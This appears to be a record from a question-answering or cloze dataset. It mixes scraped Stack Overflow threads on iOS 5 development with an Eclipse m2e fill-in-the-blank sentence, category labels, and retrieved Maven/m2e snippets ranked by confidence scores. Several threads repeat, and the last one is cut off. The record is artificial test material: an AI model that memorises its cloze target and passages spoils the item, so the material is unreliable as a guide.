stackoverflow.com questions 9611596 ios-5-1-with-xcode-4-2-and-retina-in-ipad-3 9728951 9728951", "Question : I started working on a new app and I wanted to use all of the new iOS5 features including storyboard but I m afraid to limit my app to iOS5 users only . I couldn t find any information about iOS5 usage VS iOS 5 usage . If you could point me to some research data or give me an advice about going for iOS5 only development I would be forever grateful : .. . .. . Thanks Comment : I wish someone could publish Flurry or similar user tracking system stats if they have more than one million users downloads . Comment : See also : stackoverflow.com questions 15967143 http : stackoverflow.com questions 15967143 where-can-i-find-ios-versions-statistics .. . Answer : I d say go for iOS 5 : according to this http : yoursn0w.com ios-4-x-reaches-90-user-base-adoption-according-to-developer-stats article from last year adoption of iOS 4 was at 90+ about 6 months after release . If iOS 5 follows at the same rate and considering it was already at 40 only a few months after release I d say that the numbers are somewhat similar to iOS 4 . The only thing that will drive the numbers slightly down will be the real old devices that won t get iOS 5 but I d estimate that 75 + already have iOS 5 and it will keep growing especially as users replace their old models with new ones . Edit : found this http : www.quora.com What-proportion-of-all-iPhone-owners-use-iOS4- 2a-today other about Bump users for December where 5.0.1+5.0 would total slightly over 60 . Also if you re new to iPhone Dev iOS 5 makes it much easier with ARC and storyboards among many other features . Personally I m targeting iOS 5 and not looking back . Also you may want to check an excellent iOS 5 free course in iTunesU from Stanford University : CS193P : iPad and iPhone App Development Fall 2011 http : news.stanford.edu news 2011 november itunes-apps-class-111511.html .. . .. . Final edit : found this article http : www.iphonelife.com blog 12804 when-should-you-start-building-your-mobile-apps-apples-operating-system-ios5-0 that summarizes it clearly for iOS 4 - .. . .. . 1 month after release - 50 adoption rate .. . 3 months after release - 70 adoption rate .. . 6 months after release - 90 adoption rate Comment : I m selecting your answer as the correct one because you made the most effort . Thanks Comment : ok but consider also that many old iDevice aren t allowed to install IOS 5 e.g . iPod touch 2nd gen can upgrade to 4.2 at max . So you should just ask yourself what will your app will loose if you disable the new iOS methods could you do the same with old iOS", "Question : I have made an app targeted for iOS 5 and iOS 6 and for some reason it only rotates when using it on devices with iOS 6 wether on an iPhone or an iPad and doesn t rotate on devices using iOS 5 . My app is universal . Please help me resolve this problem Thanks .. . Answer : to support autorotations in both ios5 and ios6 we need to provide call backs in case of ios6... . UIDevice currentDevice beginGeneratingDeviceOrientationNotifications .. . .. . and we need to call .. . .. . .. . .. . for ios5 .. . .. . return toInterfaceOrientation UIInterfaceOrientationPortrait toInterfaceOrientation UIInterfaceOrientationPortraitUpsideDown Comment : hmm .. . didn t I format the this already No it was another copy : So please done t post the exact same answer to multiple questions : it s either not a good fit for all or the questions are duplicates which should be flagged closed as such .", "Question : I have used this method in the past to detect if the silent switch is enabled : .. . .. . This is no longer working in iOS5 on my iPad or iPhone . Is this a known issue I haven t been able to find any answers on stack-overflow or Apple dev forums . Hope you can help.. . Comment : Damned . I have the same problem . I guess I will have to make a condition for iOS 5.0 users.. . If an update comes to correct that . I guess Apple does not want us to know anymore if the silent mode is on.. . Doing so any app that allows you to take photos with the silent switch won t work anymore . I hope that s not the reason.. . Comment : @Oliver What could that condition be I am not able to detect the switch status on iOS5 . The property always returns Speaker . Comment : Checking some respondToSelector for an iOS5 method to test if user use iOS5 and do what needed sorry exiting the app buggy OS installed Comment : ahh okay not what I had in mind : D Was hoping you had a workaround I could use on iOS5.. . Comment : Weirdly it still works for me on iOS 8.2 .. . Answer : We won t be able to detect the silent switch state anymore since iOS 5.. . The answer from Apple is there on the accepted answer : Detecting the iPhone s Ring Silent Mute switch using AVAudioPlayer not working http : stackoverflow.com questions 6901363 detecting-the-iphones-ring-silent-mute-switch-using-avaudioplayer-not-worki Comment : WOW.. . That sucks.. . What are they thinking The silent ringer switch mutes all sound from the iPhone. . Some users won t understand this and think that there is something wrong with the App Filing a bug report ASAP Comment : @CCDEV : I agree . And most of all using audio sessions is not enough . Imagine your have an app that beeps.. . ok so you want to vibrate instead of beeping . Then as the audio session does not automatically convert sounds into vibrations how can you switch those mode without knowing if you are in silent mode or not . That just sounds crazy Comment : @CCDEV : could you please edit your question when you have the Apple return", "Question : null .. . Answer : I m developing an app that uses location specifically it needs the precise location obtained from GPS . I ve got an iPhone 3GS for testing which is running the latest version of iOS 5 5.0.1 but it only seems to get coarse location based on WiFi my friend s 3GS exhibits the same behaviour . This is apparently a widespread problem : https : discussions.apple.com thread 3395846 start 0 tstart 0 https : discussions.apple.com thread 3395846 start 0 tstart 0 .. . .. . I was testing the GPS using the official maps app which works fine on a 4S . I m somewhat confused as to how exactly GPS is not working on 3GS phones running iOS 5 . Is there a solution fix to make GPS work when developing iPhone apps As in the app i m making not the maps app . Comment : this thread may help : stackoverflow.com questions 7857450 http : stackoverflow.com questions 7857450 gps-app-stopped-working-on-ios-5-location-manager-not-updating", "Question : As far as I know it s not possible to scan for hotspots in range and read their bssid and signal strengths . This was possible on iOS 4 by using private APIs and not longer possible on iOS 5 without jailbreak . Even if it were possible the app would be rejected on the App Store . Is that right One company that has an indoor-positioning-system is claiming they can develop this system in iOS . I know for a fact they are scanning for hotspots and signal strengths and then triangulating the signal on their current Android app . Are there any alternatives I am missing Their claiming sounds impossible to me but I would love to hear from the people here . I would like to be ready when they demo although I am expecting a jailbreak or some kind of mock up .. . Answer : As far as i know this can still be done using private APIs of course by MobileApple80211 framework http : code.google.com p iphone-wireless wiki Apple80211Functions . Stumbler http : code.google.com p iphone-wireless wiki Stumbler code is a good source of information on how to use this framework . For iOS 5 you ll need a jailbroken iPhone . Guvener Gokce http : stackoverflow.com users 80973 guvener-gokce has a very educational blog post on this : iPhone Wireless Scanner iOS5 http : blog.guvenergokce.com iphone-wireless-scanner-ios5 170 Comment : Thanks for confirming - My guess is this company is using Stumbler in a jailbroken device", "Question : I m working on a socket based client-server app . When a user running any iDevice on iOS 4 4.2.1 4.3.2 etc clicks the lock button while connected to the server the connection remains alive . However when I click the lock button on any device running iOS 5 the connection is immediately destroyed and upon returning to the app from the lock screen I am presented with my NSAlertView that is called when the NSStreamEventErrorOccurred method is called . I have had several clients test the app and every one of them with iOS 5 has this exact same problem - no matter the device iPod 2g iPod 4g iPhone 3GS iPhone 4 . Were there any changes to the way iOS 5 devices handle locks How can I fix this EDIT : .. . .. . I should mention the project was started in Xcode 4 iOS 4 sdk and is now being used in Xcode 4.2. . Don t know if this matters or not . Comment : possible duplicate of iphone app network connection disconnect after screen locking with new ios sdk 5.0 http : stackoverflow.com questions 7866651 iphone-app-network-connection-disconnect-after-screen-locking-with-new-ios-sdk-5 Comment : It would be interesting to know whether this is unique to 5.0.1 or whether 5.0 had the same behaviour given the battery saving bug fixes Apple added in 5.0.1 Comment : ah from the look of the duplicate it would appear it s not 5.0.1 specific and it is a iOS 5 feature Comment : Yes we are experiencing the problem on both iOS 5 and 5.0.1 .. . Answer : As in the comments there is a new feature in iOS 5 which sends the application to the background when the user locks the device this effectively kills network activities . Use beginBackgroundTaskWithExpirationHandler : http : developer.apple.com library ios DOCUMENTATION UIKit Reference UIApplication Class Reference Reference.html apple ref occ instm UIApplication beginBackgroundTaskWithExpirationHandler 3a to mark critical sections of the code that need the socket access . This should allow the code to run while the app is in the background for a short while . Dont forget to call endBackgroundTask when you are done .", "Question : I have been trying to record from a RemoteIO unit directly to AAC in a renderCallback in iOS 5 on an iPad 2 . I have seen conflicting info saying it is not possible that it is possible in the comments here http : atastypixel.com blog easy-aac-compressed-audio-conversion-on-ios . My reason for wanting to do it is because recording to PCM requires so much disk space for a recording of any length - even if it is later converted to AAC . I m about ready to give up though . I ve scraped through Google SO the Core Audio book and the Apple Core-Audio mailing list forums and have reached the point where I am not getting any errors - and am recording something to disk but the resulting file is unplayable . This is the case with both the Simulator and on the device . So.. . if anyone has experience with this I d really appreciate a nudge in the right direction . The setup is that the RemoteIO is playing output from AUSamplers that is working fine . Here is what I am doing in the code below .. . .. . Specify the AudioStreamBasicDescription formats for the remoteIO unit to kAudioFormatLinearPCM .. . .. . Create and specify the destination format for the ExtAudioFileRef Specify the client format by getting it from the RemoteIO unit .. . .. . Specify the renderCallback for the RemoteID unit .. . .. . In the renderCallback write data in the kAudioUnitRenderAction PostRender phase .. . .. . As I said I am not getting any errors and the resulting audio file sizes show something is being written but the file is unplayable . Perhaps I have my formats screwed up Anyway this is my message in a bottle and or Be Here Dragons flag to anyone else braving the dark waters of Core-Audio . .. . .. . The unhappy msg I get when trying to play the file : .. . .. . enter image description here http : i.stack.imgur.com PgE9t.png .. . .. . part of remoteIO setup .. . .. . Function that sets up file rendercallback .. . .. . And finally the rendercallback .. . Answer : It appears there s a little bit more to this than just specifying the Codec for the output audio file ID . According to this thread : ExtAudioFileWrite to m4a aac failing on dual-core devices ipad-2 iphone 4s http : stackoverflow.com questions 8719865 extaudiofilewrite-to-m4a-aac-failing-on-dual-core-devices-ipad-2-iphone-4s certain iPhone models 4S for example don t play nice with the hardware decoder . From my experience with a 4S trying to encode an AAC file with the hardware codec either a works sometimes b fails with an error -66567 kExtAudioFileError MaxPacketSizeUnknown or c writes a few samples out and then just hangs with no traceable error . The software codec works fine on an iPhone 4S at the expense of slower performance . Edit : Some are claiming that the hardware codec doesn t like 44.1kHz sample rate . I have yet to confirm this .", "Question : I m working on a socket based client-server app . When a user running any iDevice on iOS 4 4.2.1 4.3.2 etc clicks the lock button while connected to the server the connection remains alive . However when I click the lock button on any device running iOS 5 the connection is immediately destroyed and upon returning to the app from the lock screen I am presented with my NSAlertView that is called when the NSStreamEventErrorOccurred method is called . I have had several clients test the app and every one of them with iOS 5 has this exact same problem - no matter the device iPod 2g iPod 4g iPhone 3GS iPhone 4 . Were there any changes to the way iOS 5 devices handle locks How can I fix this EDIT : .. . .. . I should mention the project was started in Xcode 4 iOS 4 sdk and is now being used in Xcode 4.2. . Don t know if this matters or not . Comment : possible duplicate of iphone app network connection disconnect after screen locking with new ios sdk 5.0 http : stackoverflow.com questions 7866651 iphone-app-network-connection-disconnect-after-screen-locking-with-new-ios-sdk-5 Comment : It would be interesting to know whether this is unique to 5.0.1 or whether 5.0 had the same behaviour given the battery saving bug fixes Apple added in 5.0.1 Comment : ah from the look of the duplicate it would appear it s not 5.0.1 specific and it is a iOS 5 feature Comment : Yes we are experiencing the problem on both iOS 5 and 5.0.1 .. . Answer : Actually i don t think in iOS 5 when you lock the device an active application will be sent to the background mode it will just become inactive . I have done some tests if you have a network download started then send the app to background the network socket is not killed but suspended . you could wait 10+ seconds 10 seconds is supposed to the default extended time your app has before your app become suspended in the background then bring the app back to foreground you can see the halfway done network download resumes . While if you lock the device and unlock immediately you will encounter network error because your socket has been disconnected . This tells me ios 5 doesn t just send your app to the background when the device is lock it will also disconnect your network socket right away using the extended background task time probably wouldn t help you Comment : When the device screen turned Off My iOS app stops sending data to socket . and then turning ON the screen back socket connection gets disconnected broken-pipe error . How to solve it" ] }
[ "yes-answer-long", "yes-answer-short" ]
ipod-touch
UNK_RELATION
m2e@eclipse@64
m2e -- m2eclipse is a plug-in for the eclipse ide that defines @placeholder project structures by analyzing maven project models .
{ "confidence": [ 40.61241149902344, 40.412689208984375, 39.3026237487793, 38.80916976928711, 38.16203689575195, 37.65959167480469, 37.52653884887695, 37.478946685791016, 37.2075080871582, 36.68451690673828, 36.68451690673828, 36.0788459777832, 36.048709869384766, 35.51573181152344, 35.5022087097168, 35.099884033203125, 35.099884033203125, 35.01213073730469, 34.95417785644531, 34.609432220458984, 34.09656524658203, 34.014225006103516, 34.005348205566406, 33.89671325683594, 33.853309631347656, 33.097450256347656, 33.001399993896484, 32.927398681640625, 32.86815643310547, 32.76556396484375, 32.588905334472656, 32.55867385864258, 32.413658142089844, 32.24285888671875, 32.07207489013672, 32.052574157714844, 32.012351989746094, 31.90966033935547, 31.859375, 31.810237884521484, 31.726652145385742, 31.726652145385742, 31.726652145385742, 31.685733795166016, 31.432785034179688, 31.333209991455078, 31.31582260131836, 31.2775821685791, 31.213008880615234, 31.207435607910156, 31.125804901123047, 30.91778564453125, 30.869606018066406, 30.725187301635742, 30.510269165039062, 30.40713882446289, 30.35979461669922, 30.328754425048828, 30.32219696044922, 30.255496978759766, 30.176979064941406, 30.146587371826172, 30.129188537597656, 30.10291290283203, 30.098182678222656, 30.050556182861328, 30.00255012512207, 29.971019744873047, 29.953067779541016, 29.779090881347656, 29.6406307220459, 29.5821533203125, 29.56639862060547, 29.35980987548828, 29.350425720214844, 29.286962509155273, 29.222599029541016, 29.163009643554688, 29.10830307006836, 29.053722381591797, 29.039783477783203, 29.039783477783203, 29.039783477783203, 28.976903915405273, 28.976903915405273, 28.950641632080078, 28.943809509277344, 28.941177368164062, 28.901260375976562, 28.896690368652344, 28.896690368652344, 28.896690368652344, 28.896690368652344, 28.896690368652344, 28.89196014404297, 28.89196014404297, 28.89196014404297, 28.871841430664062, 28.83049964904785, 28.83049964904785 ], "content": [ "maven-eclipse-plugin http : maven.apache.org plugins maven-eclipse-plugin and m2eclipse http : m2eclipse.sonatype.org now m2e http : eclipse.org m2e are independent projects .", "btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse .", "m2e will set the project s JRE to match the maven project .", "My project uses Eclipse m2e with junit 4.11 .", "I have a dynamic web module project configured to be a Maven project with M2E .", "I have downloaded m2e-wtp plugin for eclipse and created a Maven project whose structure follows a standard Maven project structure .", "In the end I disabled m2Eclipse in favor of the Apache Eclipse plug-in http : maven.apache.org plugins maven-eclipse-plugin .", "The m2e directory is the Eclipse Maven plugin s cache not Maven s .", "This is a general step that happens when m2e m2eclipse Maven integration for Eclipse is installed whether projects are actively using it or not .", "I m using Eclipse to work on a Spring project that is controlled via Maven well the m2e plugin in Eclipse .", "is there any existing m2e-extension to configure Eclipse Formatter when importing a Maven project into eclipse", "Eclipse says M2E maven for eclipse not installed .", "I installed the maven-plugin m2e for eclipse .", "Similar issue to this http : stackoverflow.com questions 32654309 unable-to-resolve-maven-dependencies-in-eclipse-m2e issue but it seems to be a maven eclipse project issue .", "1.clean the maven eclipse project : .. . mvn clean eclipse : clean -Dmaven.test.skip .. . 2.create the maven project : .. . mvn clean eclipse : eclipse .. . 3.import and refresh your project in the eclipse IDE .", "It seems that it uses Maven Eclipse m2e-webby plugin .", "I use Eclipse Indigo with the M2E plugin for maven .", "When a Maven project is imported by m2e I need some custom project-specific settings to be automatically included in the .project file eg .", "Check if an referenced project is recognized as a maven project by eclipse properly .", "The Maven dependency points to the project in Eclipse not the JAR in the repository .", "The m2e plugin generate project configuration every time when you update project Maven- Update Project .. . That action overrides facets setting configured manually in Eclipse .", "I use m2e 1.2.0 and m2e-wtp 0.16.0 and occasionally my Eclipse build fails with the error : .. . .. . The problem can be temporarily solved by doing a Maven- Update project.. . but the error will come back after a while .", "In Eclipse right-click in your project Configure - Convert to Maven Project", "The old m2eclipse plugin is gone and the documentation for m2e is atrocious .", "Convert Existing Eclipse Project to Maven Project http : stackoverflow.com questions 2449461 convert-existing-eclipse-project-to-maven-project .. . .. . In last version of eclipse Juno included there is more convinient wizards :", "Maven project put there instances with lib prefix and m2e RAD without like this : .. . .. . in pure maven and : .. . .. . I ve tried to update a project played with settings in pom .", "I ve been trying use Maven using Eclipse m2e since yesterday .", "So by default the m2e eclipse-plugin ignores any maven plugins unless those maven plugins have a special m2e plugin connector that tells m2e how to integrate the maven-plugin into eclipse .", "I ve created an empty Eclipse project directly converted to a Maven project .", "I had the same problem with eclipse-indigo and m2eclipse as my maven-plugin .", "9 . in eclipse click on : file- Import...- Maven- import existing maven project and import your project again .. . 10 .", "I downloaded Eclipse Kepler and tried to install M2Eclipse from its update-site http : download.eclipse.org technology m2e releases .", "I succeeded to reach my goal with Maven profiles : in Eclipse I use a m2e profile configured in Project settings so I can define two different destination folders depending on I build in Eclipse or not .", "When deploying spring MVC application I am having java.lang.ClassNotFoundException : org.springframework.web.context.ContextLoaderListener .. . .. . Details : - eclipse Indigo Service Release 2 Eclipse IDE for Java EE Developers - m2e - Maven Integration for Eclipse - m2e-wtp - Maven Integration for WTP I confirm that my web project has maven dependencies added in deployment assembly .", "It does assume you are using the M2E Eclipse integration File Import Existing Maven Project rather than the old eclipse : eclipse goal though .", "For eclipse I am using the 3.0.3 integrated maven whatever comes with m2e .", "Eclipse project properties Maven Active Maven Profiles : no-junit .. . 3 .", "or .. . include an m2e project update in a run configuration or .. . write an ant file to execute both the m2e project update and the maven build or .. . adapt the m2e plugin to not just update the Eclipse settings but execute all plugins of the pom.xml file I use packaging pom not jar", "And then you activate this profile in eclipse in the project properties of maven in eclipse .", "Support for apklib dependencies in ADT Eclipse is part of ongoing work for the m2e-android http : rgladwell.github.com m2e-android project and is not yet complete .", "I am starting a little web project with MAVEN PLUGIN on ECLIPSE NEON .", "@khmarbaise The scenario happens when im trying create a maven project in eclipse .", "Step3 : Run the maven command to convert into eclipse project format .", "I m attempting to add a source folder for maven java project to Eclipse using a maven-plugin .", "I m running Eclipse 4.3M7 with m2e .", "If you don t want the m2e eclipse-plugin actively messing with your project settings use the maven-eclipse-plugin s eclipse goal http : maven.apache.org plugins maven-eclipse-plugin eclipse-mojo.html to generate your eclipse settings .", "If you want to install m2e plugin 1.5.x in Eclipse Mars with m2e 1.6 already installed see row Maven Integration for Eclipse at .", "Ever since I ve installed the new m2e plugin for maven my Groovy project no longer builds .", ".. . Project build lifecycle mapping configuration can be specified in project pom.xml contributed by Eclipse plugins and there is also default configuration for some commonly used Maven plugins shipped with m2e .", "I use M2e + Eclipse + Maven and I would like to know what the difference is between : .. . .. . running mvn clean in a terminal and .. . running clean project from Eclipse", "mvn eclipse : clean eclipse : eclipse .. . .. . Step4 : Import the project onto eclipse as Existing Maven project .", "Maven Project .. . .. . But I don t see Maven2 POM as described here http : www.theserverside.com news 1363817 Introduction-to-m2eclipse .", "I have found the details I was looking for in a Presentation from Eclipse Con titled m2e an exercise in mixing oil and water .. . .. . http : www.eclipsecon.org europe2012 sites eclipsecon.org.europe2012 files EclipseConEU2012-m2e-talk.pdf .. . .. . Abstract : .. . .. . m2e is a popular Eclipse IDE plugin with stated project goal to provide a first-class Apache Maven support in the Eclipse IDE .", "In summary m2e is defending the eclipse JVM process against a buggy maven-plugin by saying that for every maven-plugin there needs to be an m2e connector to bridge between maven and eclipse .", "The problem is when I create a maven project using maven-archetype-webapp Eclipse project explorer shows a error marker .. . .. . Maven problem - Description Resource Path Location Type Project configuration is not up-to-date with pom.xml .", "It works after maven build the project .", "Tested most recent Maven 3.3.9 Maven JAXB2 Plugin 0.13.1 recent m2e JAXB2 connector and Eclipse Mars.2", "Executing the pom.xml file in a maven project with M2E will undo the manual changes from your suggested solution .", "How is it related to importing Maven projects with m2e", "I have a maven project in eclipse and have maven goals that run annotation processors to generate code .", "I m having a project in BusinessEvents Studio Eclipse that I m slowly turning into a Maven project .", "What can I do to make m2e work like m2eclipse", "Update maven of an referencing project .. . .. . Right click on the referencing project Maven - Update Project.. . - OK", "Updating to the latest m2e-wtp - Maven Integration for WTP in the eclipse-marketplace solved the problem .", "With this compiler both exists maven and m2e plugins .", "To fix the Problem in Eclipse not adding the apt-generated -folder via Update Maven Configuration in M2E i ve written a M2E Plugin to fix this problem .", "Have installed m2e eclipse-plugin .", "According to the screenshot attached there this seems to be the same effect as described in m2e-users m2eclipse Maven Repositories view refuses to show me contents of Nexus Repo http : dev.eclipse.org mhonarc lists m2e-users msg00175.html .", "When I import a project from Subversion to Eclipse that specifies maven-ear-plugin version 2.3.2 the Eclipse project was faceted and the Ear facet was automatically selected .", "I faced the same conflict problem when upgrading from m2e 1.6.0 to m2e 1.6.1 but on the maven-compiler-plugin configured for using the groovy-eclipse-compiler .", "I m trying to add a wst.web facet for a multimodule maven project on eclipse .", "You need to import the project as a Maven project .", "Or does your project require a newer version of m2e", "The eclipse maven-plugin runs a projects pom.xml file in order figure out how the maven project is configured and translate the maven pom.xml configuration into an eclipse configuration .", "org eclipse m2e wtp WTPProjectsUtil .. . .. . This happens when I try to import a project and also when I try to run the mvn update .", "When you now update your Maven project right-click on the project and select Maven Update Project then annotation processing for the Eclipse project should be automatically configured in the dialog you have described in your question .", "I m using Eclipse m2e buildnumber-maven-plugin and templating-maven-plugin to create a filtered java file with buildNumber .", "Select Maven Update Project.. .", "I ve installed Eclipse Indigo SR2 EE : .. . .. . and even after installing m2e from Marketplace I don t have any Maven menu items in File- Import File- New- Project.. . or Window- Preferences .", "It is working with m2e bundled with Eclipse Indigo .", "The only options that Eclipse UI gives me is either a Maven project or a Spring project :", "However when I tried to provide a Debug environment for devs this Maven project is not treated as Web Project in Eclipse .", "Probably because I imported a Maven project rather than using the Eclipse WTP project creation wizard .", "- Maven Update Project doesn t help .", "Project- Maven- UpdateProject-- This will solve the issue .", "I m using Eclipse Juno m2e 1.1.0 Android Configuration for m2e 0.4.2 .", "Here s a typical setup : .. . .. . Previously I would just have to import that project with eclipse as a maven project the code would automatically be executed and the source folder added to the eclipse project .", "In Eclipse IDE Help Eclipse Market Place type the query wtp and it will show maven integration for eclipse WTP for Juno install it and update the maven dependencies and enjoy", "This is a Maven project so Maven has to adminsiter the project itself .", "We are using eclipse currently the Kepler release with m2e Maven plugin on a Windows 7 workstation .", "What I have done so far : .. . .. . I have googled on Eclipse m2e Maven JNI javah and dll .", "m2e - Maven Integration for Eclipse includes Incubating components will be ignored because a newer version is already installed .", "My process has been Help EclipseMarketplace Search Maven Integration for Eclipse Install m2e .. . .. . Please help .", "this solution works great when the m2e connector for build-helper-maven-plugin is installed in Eclipse", "Does m2e use the same version of maven", "I would try to use an external maven in m2e .", "In m2e 1.0 the handling of Maven plugins has changed .", "There is an unofficial project here : .. . .. . https : github.com tesla m2eclipse-subclipse .. . .. . However : .. . .. . A2 .", "On my experiments I see as-if m2e simply weren t wired into the eclipse project cleaning option .", "You need an m2e connector which automatically configures your Eclipse project for the annotation processing ." ] }
{ "confidence": [ 63.46403503417969, 60.60303497314453, 59.27867126464844, 57.119728088378906, 55.76493835449219, 55.68879699707031, 55.638832092285156, 55.48571014404297, 54.26524353027344, 54.103450775146484, 53.89323043823242, 53.11347198486328, 53.03639221191406, 52.92498016357422, 52.8648681640625, 52.58100128173828, 52.56473159790039, 52.327972412109375, 51.760719299316406, 51.28528594970703 ], "content": [ "Question : I am an eclipse power and who has ignored maven due to the historically poor maven eclipse integration . m2e seems to be maturing and I am taking it out for a serious test drive . I want to understand how m2e works within eclipse so I can better get the two working smoothly together and to understand the still cryptic error messages and problems that arise . I have tried googling for an explanation of the m2e eclipse integration architecture and found nothing that provides a good account of how the integration works . rather just a lot of scattered blog posts all over the web . Can anyone provide a solid overview of how m2e bridges the gap between the eclipse view of the world and maven view of the world Especially how does maven integrate into the incremental builds that eclipse does What is the impact on eclipse stability performance from using m2e . Comment : m2eclipse is quite mature at this point handles multi-module projects EAR s WAR s correctly . What error messages are you getting one tip m2eclipse and mvn eclipse : eclipse should not be used together . Comment : what is eclipse power .. . Answer : I have found the details I was looking for in a Presentation from Eclipse Con titled m2e an exercise in mixing oil and water .. . .. . http : www.eclipsecon.org europe2012 sites eclipsecon.org.europe2012 files EclipseConEU2012-m2e-talk.pdf .. . .. . Abstract : .. . .. . m2e is a popular Eclipse IDE plugin with stated project goal to provide a first-class Apache Maven support in the Eclipse IDE . In this talk I will give an overview of Maven Eclipse integration approach implemented by m2e highlight differences between Maven and Eclipse that make proper integration difficult or impossible and will discuss possible ways to improve the integration . The talk is targeted at Eclipse and Maven developers who want to better understand challenges of Maven Eclipse integration and advanced m2e users who want to know what happens under the hood . Comment : Another link that might interest you : wiki.eclipse.org M2E plugin execution not covered https : wiki.eclipse.org M2E plugin execution not covered - and : docs.sonatype.org display M2ECLIPSE https : docs.sonatype.org display M2ECLIPSE Project+build+lifecycle+mapping", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : Eclipse Java EE IDE for Web Developers . Version : Juno Service Release 1 .. . .. . work perfectly . But in eclipse I have the same error on Asinc class . Just press F5 on project . Fix this problem .", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : In m2e 1.0 the handling of Maven plugins has changed . You might be lacking a specific m2e extension for your code generating plugin . Here is all the documentation https : www.eclipse.org m2e documentation m2e-extension-development.html I managed to find . This bug report https : bugs.eclipse.org bugs show bug.cgi id 349935 may also be relevant . Comment : i guess m2e is new and has lots of outstanding development Comment : I believe the problem is that just applying Maven plugins to m2eclipse projects as m2eclipse used to do just happened to work most of the time but wasn t guaranteed to always do the right thing . The new approach is potentially more solid but requires that many Maven plugins have an m2e counterpart .", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : You can also use the buildhelper m2e connector available in the discovery catalog . I m using Eclipse 3.7", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : You need to attach the source directory with the build-helper-plugin http : mojo.codehaus.org build-helper-maven-plugin . Like so : .. . .. . You will also need to : .. . .. . Install the Apt M2E Connector from the Eclipse Marketplace . To do so click the error in the Overview tab of your pom.xml and select Discover . Ensure there are no plugin execution filters for the build-helper-maven-plugin see http : wiki.eclipse.org M2E plugin execution not covered Comment : this solution works great when the m2e connector for build-helper-maven-plugin is installed in Eclipse Comment : glad to have discovered it Comment : Doesn t work for me . Can you elaborate on the build-helper-plugin setup Comment : Kevin what did you do to make it work Share pom snippet . Comment : With Kepler I had to also install m2e connector for build-helper-maven-plugin . Just open your pom inside the maven pom editor of eclipse and click on the red link at the top .", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : After switching to new versions of m2e maven apt .. . i had builderrors because of the duplicated files caused by the added buildpath by the buildhelper so i needed to remove the apt-generated -Folders from the buildhelper . To fix the Problem in Eclipse not adding the apt-generated -folder via Update Maven Configuration in M2E i ve written a M2E Plugin to fix this problem . It adds the outputDirectories configured in the maven-apt-plugin to the buildpath of the Project . https : apt-m2e.googlecode.com", "Question : I have been using m2eclipse http : m2eclipse.sonatype.org for 2 years or so and have now switched to m2e http : eclipse.org m2e . Unfortunately this has broken some functionality for me . In many projects I have generated Java code usually generated through a main class in a library-project . Here s a typical setup : .. . .. . Previously I would just have to import that project with eclipse as a maven project the code would automatically be executed and the source folder added to the eclipse project . Now m2e has installed a connector for the buildhelper plugin so the source folder is created but I have to manually trigger code generation by executing Run As Maven generate-sources . This is really annoying I would like the maven build to respond to pom.xml changes Project Clean .. . SVN Updates Eclipse startup etc . as it previously did . What can I do to make m2e work like m2eclipse Comment : I suspect your problem has something to do with the changes made in M2E in the area of project lifecycle mapping http : wiki.eclipse.org M2E plugin execution not covered although I m not sure if specifying the plugin goal as execute would help in your case . Comment : @Vineet thanks this link looks like a good starting point . .. . Answer : In Eclipse you can define which life-cycle step will be run during an import which is by default empty . You can simply change this to process-resources or do a simply Maven - Update Project Configuration . In the configuration Windows - Preferences - Maven you can change the default behaviour to simplify your live . Comment : In m2eclipse yes . In m2e you can no longer specify what lifecycles are executed", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output 